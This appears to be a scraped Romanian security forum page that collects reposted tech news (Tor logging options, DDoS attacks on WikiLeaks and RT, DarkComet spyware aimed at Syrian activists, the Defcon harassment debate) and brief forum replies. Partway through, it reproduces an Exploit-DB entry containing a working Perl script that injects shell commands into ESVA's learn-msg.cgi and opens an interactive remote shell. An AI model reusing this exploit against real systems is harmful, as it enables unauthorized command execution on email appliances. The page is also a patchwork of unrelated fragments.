This effectively anonymizes web servers in Tor network, so we can’t track them down. There’s quite a bit more to this story than just resolution of .onion domains, but we won’t go into to much detail right now – we’ll leave that for one of the future articles. 5. Tor Logging Options If we installed Vidalia, then our logs can be seen in the “Message Log”, but if we don’t use Vidalia, getting logs is a little trickier. If everything is already set up and working, we can probably get the logs by looking into the /var/log/tor/ directory. The following command displays the logs as they appear on the screen: # tail -f /var/log/tor/tor But there are also various logging options we can configure in the /etc/tor/torrc configuration file. The relevant configuration variables are the following: Log minSeverity-maxSeverity stderr|stdout|syslog Sends all messages between minimal severity and maximum severity to one of the output channels: standard error, standard output or syslog. Log minSeverity-maxSeverity file <filename> Sends all messages between minimal severity and maximum severity to a file named <filename>. Severity levels are the following: debug, info, notice, warn and err. Good configuration options are presented here: Log notice-err file /var/log/tor/tor This effectively logs all messages to a file /var/log/tor/tor. 4. Tor Advanced Configuration Options HTTPProxy Configure Tor to make directory requests through host:port specified by this configuration variable. HTTPProxyAuthenticator Specifies the username and password used to authenticate to HTTP proxy. HTTPSProxy Configure Tor to make all SSL connection requests through host:port specified by this configuration variable. HTTPSProxyAuthenticator Specifies the username and password used to authenticate to HTTPS proxy. Socks4Proxy Configure Tor to make all connections through SOCKS 4 proxy at host:port. Socks5Proxy Configure Tor to make all connections through SOCKS 5 proxy at host:port. Socks5ProxyUsername Specify the username used to authenticate to SOCKS 5 proxy. Socks5ProxyPassword Specify the password used to authenticate to SOCKS 5 proxy. KeepAlivePeriod Specify the time that Tor uses to send keepalives to keep the connection open. ControlPort Specifies the port on which we can connect to Tor and control it. If ‘auto’ value is used, Tor will automatically choose a port for us, otherwise the specified port is used. NewCircuitPeriod Consider building a new circuit every N seconds (default: 30 seconds). Configuration options that are relevant to the SOCKS proxy in Tor network are the following: SocksPort: On which port number SOCKS proxy will listen for incoming connections. SocksListenAddress On which IP SOCKS proxies will listen for incoming connections. SocksTimeout How much time Tor can try establishing a circuit before timing out (default 2 minutes). We really should understand the last three configuration variables, since they are very important, because SOCKS proxy is mandatory as an entry point to Tor network. 5. Conclusion In the next series we’ll take a look at the Torbutton and tsocks to see how to anonymize ourselves on the Internet. We’ll describe how to use an application over Tor network even when it doesn’t have support for SOCKS proxy server; we’ll do that by using tsocks to tunnel traffic over the Tor network nevertheless. Original Article

Keystroke authentication identifies your typing patterns and could make passwords a thing of the past. Remembering a clunky password could become a thing of the past, according to researchers at Iowa State University. Morris Chang, an associate professor of engineering, and his team are working on keystroke authentication -- a way of identifying you by the way you type and how long you pause between keystrokes. Ultimately, such a technique could block unauthorized users based on their typing patterns from gaining access to an account. Using biometrics to identify and authenticate users isn't new -- think fingerprint recognition or iris scans. But those are one-time verifications. What makes keystroke authentication more secure is the fact that typing patterns are continuously monitored. Also, there's an added layer of security. "You can steal passwords," says Chang. "But you can't steal biometrics." VIDEO: http://cdn15.castfire.com/video/305/2099/7167/1111844/cnet_2012-08-13-161444-4085-3-0-0.2500.mp4?cdn_id=20&uuid=1af4d7b46d884a1445456bdc0618f028&referer=http%3A%2F%2Fnews.cnet.com%2F8301-1009_3-57492355-83%2Fone-way-to-make-passwords-obsolete-just-keep-typing%2F Sursa

Under a barrage of more than 10GB per second in a DDoS attack, the document-leaking organization's Web site has been either inoperable or sluggish since the beginning of the month. It's unclear who or what is after WikiLeaks, but the document-leaking organization claims someone is. According to its Twitter feed, the organization has sustained a several-day Distributed Denial of Service (DDoS) attack that has left its Web site effectually inoperable. "The attack is well over 10Gbits/second sustained on the main WikiLeaks domains," read one of several tweets the organization posted on Friday. "The bandwidth used is so huge it is impossible to filter without specialized hardware, however... the DDoS is not simple bulk UDP or ICMP packet flooding, so most hardware filters won't work either. The range of IPs used is huge. Whoever is running it controls thousands of machines or is able to simulate them." Apparently WikiLeaks' Web site has been slow moving or inaccessible since the beginning of August, according to the Associated Press. WikiLeaks sent out a statement on Saturday saying that a recently registered Twitter account called Anti Leaks claimed responsibility for the attacks. It hasn't been verified if the DDoS was pulled off by Anti Leaks and even if it was, it's unclear who is behind Anti Leaks. WikiLeaks is no stranger to cyberattacks. Having amassed several enemies, many of which are governments, the organization's Web site seems to be defending itself often. After several DDoS attacks and increasing financial and political pressure in 2010, WikiLeaks had to restructure its Web site in order to bolster its electronic defenses. As of today, the Web site is still sluggish but WikiLeaks appears to remain emboldened. "Is that all you've got?" it tweeted today. "Keep attacking, our skin just gets harder. DDoS proof, financially & geographically diverse. We're ready to rumble." Sursa

The U.S. Court of Appeals for the Sixth Circuit says criminals can't "complain" when police use a device's features to catch them. A federal court has ruled that warrantless cell phone tracking by police is legal. The U.S. Court of Appeals for the Sixth Circuit yesterday ruled (PDF) that law enforcement officials were within their legal right to track Melvin Skinner, an alleged drug trafficker, through his cell phone before his arrest in 2006. According to court documents, law enforcement officials were able to use the GPS feature on Skinner's cell phone to track his whereabouts and eventually arrest him. According to the court, Skinner was convicted of two counts of drug trafficking and another of conspiracy to commit money laundering. Soon after, he appealed the conviction, saying that it violated his rights under the Fourth Amendment, which is designed to protect citizens from unreasonable search and seizure. Judge Rogers, one of the two judges in the three-judge panel to rule in favor of the decision, had this to say in his opinion: "The drug runners in this case used pay-as-you-go (and thus presumably more difficult to trace) cell phones to communicate during the cross-country shipment of drugs. Unfortunately for the drug runners, the phones were trackable in a way they may not have suspected. The Constitution, however, does not protect their erroneous expectations regarding the undetectability of their modern tools." The court's ruling stands in stark contrast to a ruling made earlier this year by the U.S. Supreme Court on GPS tracking. The high court ruled in a unanimous decision that law enforcement agencies must obtain a warrant in order to place a GPS tracking device on a vehicle. In the Skinner case, the judges argue, the feature is built directly into cell phones, and thus doesn't require physical interaction on the part of law enforcement. "When criminals use modern technological devices to carry out criminal acts and to reduce the possibility of detection, they can hardly complain when the police take advantage of the inherent characteristics of those very devices to catch them," Judge Rogers wrote. "This is not a case in which the government secretly placed a tracking device in someone's car." The Sixth Circuit Court's ruling follows an earlier opinion laid down by the Third Circuit in 2010, arguing that warrantless cell phone tracking is admissible under law. The Obama Administration has been vocal in its agreement with the court's ruling, saying that Americans have no "reasonable expectation of privacy" when it comes to their cell phones' whereabouts. Several organizations, including the American Civil Liberties Union, the Electronic Frontier Foundation, and the Center for Democracy and Technology, argue that a warrant is required for cell phone tracking, as prescribed under the Fourth Amendment. Judge Donald, the only dissenting voice in the Skinner case, tends to agree with that argument, saying in the opinion that "acquisition of this information constitutes a search within the meaning of the Fourth Amendment, and, consequently, the officers were required to either obtain a warrant supported by probable cause or establish the applicability of an exception to the warrant requirement." Sursa

Under the guise of protecting users' computers from cyberattacks, AntiHacker instead infects computers with spyware. And its main target: Syrian activists. As the Syrian civil war continues to escalate, pro-government forces are allegedly carrying out a cyberwar against local dissidents. Syrian activists, journalists, and government opposition groups are under a barrage of targeted malware attacks, according to the watchdog group Electronic Frontier Foundation. What this malware does is deceptively install surveillance software into a computer under the guise of protecting the computer from viruses. Its name is AntiHacker. Once the malware is installed in the computer, with promises to "Auto-Protect & Auto-Detect & Security & Quick scan and analysing [sic]," it actually begins to spy on the user. Using a remote access tool called DarkComet RAT the attacker can watch the user's every move with a Webcam, while also disabling any antivirus programs, stealing passwords, deleting data, and more. Once the user has run the program a pop-up appears that says, "You PC is Protect now thank for using our Product [sic]." AntiHacker has various ways of reaching out to users, including a Facebook group used to lure in potential targets, according to EFF. "Syrian Internet users should be especially careful about downloading applications from unfamiliar websites," EFF's international freedom of expression coordinator Eva Galperin wrote in a statement today. "The AntiHacker website showed many signs of being illegitimate, including prolific abuse of English spelling and grammar." This is not the first time that Syrian activists have come under cyberthreat. In May, a Trojan targeted dissidents in both Syria and Iran tracking users that attempted to evade government censorship. This Trojan carried a payload of malware that captured usernames, IP addresses, and hostnames of users; it also recorded any keystrokes entered. The version of DarkComet that AntiHacker is running is not yet detectable by any antivirus software, according to EFF. However, users can use the DarkComet RAT removal tool to determine whether their computers are infected and then remove the malware. Sursa

Bear with us on this one: The group, which calls itself Anti Leaks, claims it took down RT.com while expressing support for the anti-Putin punk band Pussy Riot, whose members were arrested in March. An anti-WikiLeaks hacking group has taken credit for launching a distributed denial of service (DDoS) attack against the Russian news site RT.com. The organization, which calls itself Anti Leaks, today tweeted out to followers that it was "behind the DDoS attack on RT.com." Although the organization didn't explicitly say why it decided to attack RT, it included in its tweet a "#FreePussyRiot" hashtag. The hashtag refers to the name of a Russian, all-female punk rock band. The band members were arrested in March after performing a "punk prayer" in Moscow's main cathedral, requesting the Virgin Mary save Russia from president Vladimir Putin. A judge today sentenced all three members to two years in prison for their dissent. The arrest and subsequent sentencing has lit a firestorm across the world over individual rights in Russia. Anti Leaks has come out in support of the band. For its part, RT has confirmed that its site "went down for hours worldwide" today. The site is now back up and running, and the news service has posted a story pointing to Anti Leaks' admission. Anti Leaks is one of the newer hacking groups to come on a scene popularized by Anonymous. However, unlike Anonymous, which has in the past expressed support for WikiLeaks, Anti Leaks has spoken out against the organization and launched a DDoS attack on the site earlier this month. "Tango down wikileaks.org," the company wrote on Twitter on August 3. WikiLeaks condemned the attack on RT today, saying that the news outlet "is an important alternative voice in the west." Sursa

Troubled cloud gaming service says restructuring plan required it to fire its entire staff but that it is in the process of rehiring many of them. Financially troubled OnLive said today it plans to continue operating under the OnLive name and promised users that its services will "continue without interruption." The announcement comes two days after reports of a major corporate shakeup in which the cloud gaming company suddenly fired all of its employees and was allegedly prepping for a bankruptcy filing. The company later confirmed that the company assets had been sold to an unnamed suitor. The company said in a statement today that all customer purchases would remain intact: OnLive said its board of directors decided to restructure the company under an "assignment for the benefit of creditors," an alternative to bankruptcy that expedites the closure of the troubled company. The company's assets, including its technology and intellectual property, were transferred to the new company in what it called "a heartbreaking transition for everyone involved." However, under this type of transaction, no shares or employees are allowed transfer. As a result, the Palo Alto, Calif.-based said it was necessary to dismiss its entire staff but that it is in the process of rehiring many of them. "Almost half of OnLive's staff were given employment offers by the new company at their current salaries immediately upon the transfer, and the non-hired staff will be given offers to do consulting in return for options in the new company," the company said in a statement. "Upon closing additional funding, the company plans to hire more staff, both former OnLive employees as well as new employees." OnLive did not reveal who the new owners of the company were but did say the first investor was an affiliate of Lauder Partners, an early investor in the company in 2009. The company, which emerged in 2009 and launched the next year promising console-like speeds over broadband, was led by serial tech entrepreneur Steve Perlman. Sursa

Complaints about sexual harassment at the world's largest hacker conference prompt discussion about treatment of women in a largely male security community. Defcon isn't your typical tech conference. Happening in the heat of Las Vegas every summer, it attracts throngs of hackers -- 15,000 this year -- who are eager to learn about, and test out, the latest methods of breaking into computer networks, hacking phones, and general slaying of any type of security system imaginable. Security professionals and researchers give highly technical talks, but the event is known as much for its side-show theatrics, hacking contests, and DJ and booze-filled parties as it is the sessions. Black t-shirts and jeans predominate among the mostly young adults, though many have families of their own and even bring their children to attend Defcon Kids. Males have always way outnumbered females, although that too is changing. However, it's one thing to be one of the few women hackers at Defcon. It's another to feel so threatened by some of the male antics that you don't want to go back. Several women have complained recently of sexual harassment at Defcon, prompting heated debate about sexism among a community responsible for much of the work into technology-related security offense and defense in the world. The loss of these attendees tips an already gender-imbalanced industry even further, and that's not good for women hackers, Defcon, or security as a whole. Citing inappropriate touching (i.e. groping and even licking), sexual taunting, and lewd demands they or their female friends have experienced, two women say they no longer go to the event. To combat the problem, San Francisco-based journalist KC created "Creeper Move" cards that can be handed out to offenders. There are three cards. The red one reads: "Creeper Move! If you have received this card, you have done something wildly inappropriate or otherwise harassed the person who handed this to you. You should be happy you got a card and not a punch in the face. Check yourself - you might not be this lucky twice!" The yellow one is for "mildly inappropriate" behavior and urges the recipient to be "respectful and mindful of peoples' boundaries." A third card, which is, you guessed it, green, reads: "Thank You! The person who handed you this card appreciates that you were respectful and mindful instead of overbearing and harassing. It might not seem like much, but you could have received a red or yellow card instead. Cheers!" I agree with many of my hacker friends that this won't go over well with a community that prides itself on breaking rules and acting naughty. Handing a misbehaved hacker a card like that will more often than not be taken as a challenge to respond in an equally obnoxious way. At Defcon the cards were met with derision and ridicule, with some men turning them into a game to see who could collect the most cards. But that doesn't mean they haven't already been effective. The cards have sparked serious debate and even action. In addition to the discussions on e-mail lists and social media sites like Twitter, The Ada Initiative, a nonprofit devoted to supporting women in technology, has taken up the cause and issued a challenge to hacker conferences to adopt an anti-sexual harassment policy. Two European event organizers have answered the call: BruCon and DeepSec. Bruce Schneier, who is revered by many in the community as a cryptography pioneer and critic of the government's "security theater," weighed in earlier this week. "Aside from the fact that this is utterly reprehensible behavior by the perpetrators involved, this is a real problem for our community," he writes. Schneier likes the idea of the cards, calling them a "hackerish sort of solution," but says an even better answer is for Defcon and other events to adopt anti-harassment policies. But some in the community who felt the criticism was unjustified were happy to see a female hacker "call bullshit" on the women who have complained. "Of all the places I have been, of all the people who have been around me, I have never felt safer than at Defcon," writes a hacker whose handle is "Nous" in a post on Reddit. I doubt that her sexism barometer is calibrated the same as other women, though. "I was there for the infamous Pool 2 Girl and Hot Tub Orgy incidents," she writes, adding that "what hasn't been related in those stories are the people who stopped to check in on the participants in those events to make sure they were where they wanted to be, doing what they wanted to be doing, and were capable of those decisions." But this defense speaks more to the nuances of consensual activity and individual morality than it does to overt sexism and illegal behavior. I've been going to Defcon since 1995 and I too have never had a problem. But I've heard from a number of female and male attendees who say they've seen sexual harassment or experienced it firsthand. It's no wonder more women haven't complained because, as one friend put it, whining is not "hackerly." I don't think it's all that widespread, but I believe it does happen. I just think the tolerance level and manner of handling it varies from person to person. There's also no question that Defcon isn't alone in this respect. For instance, a female blogger complained that the only women on the speaker's stage at SummerCon in New York in July were the professional burlesque dancers who were hired by the organizers to strip at an official conference event. "I don't consider burlesque to be inherently sexist, in fact often it is quite the opposite. My issue here is context, not content," writes "Amberella," who says she dances burlesque, but not at security conferences. "Putting sexy ladies on a pedestal to be stared at by a group of exclusively men creates an asymmetrical gender dynamic which is not appropriate for a quasi-industry, corporate sponsored event...The goal, to me, is simple: make everyone feel welcome." Some have suggested that women hackers should just toughen up and learn to handle it. But telling women that the solution is to modify their response to abuse is crazy and will only make matters worse. The fact is, the best way to improve the demographics at Defcon and in the community and benefit the industry as a whole is not by blaming the victims, but giving women the same opportunities as men, including the chance to attend a conference without feeling hassled. Valerie Aurora writes in a post on The Ada Initiative blog: The cards have brought up for scrutiny a host of activities that take place at Defcon and elsewhere that have been taken for granted and wiped under the carpet. The problem might be greater for Defcon because of its Las vegas-honed party atmosphere. There should be no confusion about what distinguishes a lame pick-up attempt from harassment. The legal definitions for sexual harassment include bullying or coercion of a sexual nature, as well as "unwelcome sexual advances, requests for sexual favors, and other verbal or physical harassment of a sexual nature," according to the U.S. Equal Employment Opportunity Commission. "Harassment does not have to be of a sexual nature, however, and can include offensive remarks about a person's sex," the agency adds. As to the subtler distinctions of unwanted attention, basically if you are making someone feel uncomfortable, don't do it. Part of the problem is a clash between two cultures -- hackers and feminists, according to hacker Raven Alder, who says she has been attending Defcon since 2001. "Most feminists, I think rightly, feel that hacker culture at conferences is pretty hostile," she wrote in a post to an e-mail list. "However, the feminist sphere's way of addressing these issues is tonally enraging for many hackers (Hackers often see this sort of feminism as hostile -- someone is telling us what to do!), and you get things like this card drama. Since women are a small percentage of the population at most hacker cons, something that simultaneously makes feminist women happy and enrages many hacker dudes is going to end in backlash." I reached out to Defcon organizers to ask for comment but have not heard back yet. Defcon founder Jeff Moss has expressed support for the Card Project. In response to a tweet from KC about the cost of printing up the cards, Moss tweeted from his "@TheDarkTangent" account: "@KdotCdot Don't sweat the price, as long as it is reasonable I will pay for it. Love the idea." This problem, even if you think it's not that widespread, is important enough to be taken seriously. We need more women represented in the security industry and alienating the few who attend the biggest, arguably most important, hacker conference in the world is not the way to achieve that. I hope the Defcon organizers will adopt an anti-harassment policy and find a way to effectively get the message across that this behavior will not be tolerated. It's up to the rock stars and role models in the community to let everyone know that sexists suxxor. Updated 4 p.m. PT to include Nous' correct hacker handle, which was not used on Reddit. She also clarified her position on the subject matter in an e-mail after this article was posted saying certain activities and behaviors are not appropriate for a technical conference and that the event has a system in place to deal with egregious actions. "The largest point of my post is that there *is* already a policy at DEF CON regarding harassment of any nature," she writes. "It is an unwritten policy. However, every (Defcon security) Goon is trained on it, and it *is* enforced. The fact that there are women who, for whatever reason, have been unable to avail themselves of the assistance that is in place to deal with situations perpetrated by random douchebags, who generally aren't part of our community, might indicate that additional outreach on this policy is warranted. It certainly does not justify the calls for a complete overhaul of our conference or our culture." Sursa

Online security breaches are becoming increasingly common. But there are ways you can protect yourself. Zappos, LinkedIn, eHarmony, Yahoo, LastFm, the Environmental Protection Agency, Stanford, and Columbia University -- all suffered online data breaches recently, says the Privacy Rights Clearinghouse. In fact, this year alone, there have been 276 data breaches, according to the Identity Theft Resource Center. Statistics indicate that private sector businesses and the health-care industry were most vulnerable, falling victim to, respectively, 37 percent and 34 percent of the breaches. Educational institutions and the government/military sector had breach rates of 14 percent and 11 percent, respectively. The rate for financial companies came in at just more than 3 percent, according to the ITRC. So if large companies and institutions with, presumably, payrolled security staff can get popped, is there any help for you? Here's a look at ways you can protect yourself from attacks. VIDEO : http://cdn15.castfire.com/video/305/2099/7167/1116894/cnet_2012-08-16-203434-4085-3-0-0.2500.mp4?cdn_id=20&uuid=8bf73fb108dcf567d814ce9b43c50c75&referer=http%3A%2F%2Fnews.cnet.com%2F8301-1009_3-57495084-83%2Fmake-yourself-less-vulnerable-online-video%2F Sursa

^ of of.. voi "hackerilor", ce func?ie ?ti?i voi în SQL care interpreteaz? fiecare N argument adus ei ca un integer, ?i returneaz? un string format din caracterele valorilor codului acestor integere ? HINT: numerele formate din 3 cifre sunt în plus

nu este open-source ce-am modificat noi. open-source este doar versiunea de la care am pornit, nu vom pune sursa de la PoS-ul actual, cu modific?rile noastre..

se pot dezarhiva doar fi?ierele .zip momentan.

[table=width: 500, class: grid] [tr] [td]EDB-ID: 20551[/td] [td]CVE: N/A[/td] [td]OSVDB-ID: N/A[/td] [/tr] [tr] [td]Author: iJoo[/td] [td]Published: 2012-08-16[/td] [td]Verified: [/td] [/tr] [tr] [td]Exploit Code: [/td] [td]Vulnerable App: N/A[/td] [td][/td] [/tr] [/table] # Exploit Title: E-Mail Security Virtual Appliance (ESVA) Remote Execution. # Date: 10 Aug 2012 # Exploit Author: iJoo # Vendor Homepage: http://www.esvacommunity.com/ # Software Link: http://sourceforge.net/projects/esva-project/ # Version: < 2.0.6 ESVA (E-Mail Security Virtual Appliance) is a pre-built and semi-configured email scanning appliance that will run on VMware Workstation, Server, Player or ESX Server. -=+ Infected Files ..../cgi-bin/learn-msg.cgi ..../cgi-bin/release-msg.cgi Not found any strips/filter to metacharacters.. Attacker can easily execute command.. -=+ Simple RCE ESVA #! /usr/bin/perl use LWP; use HTTP::Request; if (@ARGV < 1) { print "\n==========================================\n"; print " ESVA - REMOTE EXECUTION SCRIPT \n"; print "==========================================\n"; print "Usage: perl esva.pl host (without http://)\n"; print "Ex. perl esva.pl www.korban.com\n"; exit; } $host=$ARGV[0]; print "Try to Execution Command!\n"; print "iDSc-shell# "; chomp( $cmd = <STDIN>); while($cmd !~ "exit") { $content = ""; $ua = LWP::UserAgent->new(); $ua->agent(''); $request = HTTP::Request->new (GET => "http://".$host."/cgi-bin/learn-msg.cgi?id=%7c".$cmd."%3b"); $response = $ua->request ($request); $content = $response->content; print $content."\n"; print "iDSc-shell# "; chomp( $cmd = <STDIN>); } -=+ Thanks to My lovely Country NKRI INDONESIA!! binh4x staff - www.binushacker.net // Forum.binushacker.net Sursa

^ p?i cum nu ai access? încearc? cu modul Simple, c? Advanced v?d c? nu func?ioneaz? întotdeauna, o s? m? uit peste el.

^ done all @Rila_xp - reseted, pm sent @rraulinio, contacteaz?-m? la darkyangel_rst ( yahoo! )

good corelation ! welcome aboard..

^ done, pm sent. Am introdus un ToS, pe care v? rog s? îl citi?i, http://p-o-s.org/tos.txt.

^ în ce sens s-o modific? dac? nu î?i place, po?i folosi lini?tit alt? tem? . chat-ul se poate face ?i full-screen, de pe butonul de sus, sau prin dublu-click pe "bara" de sus a chat-ului.. @rraulinio, pm sent.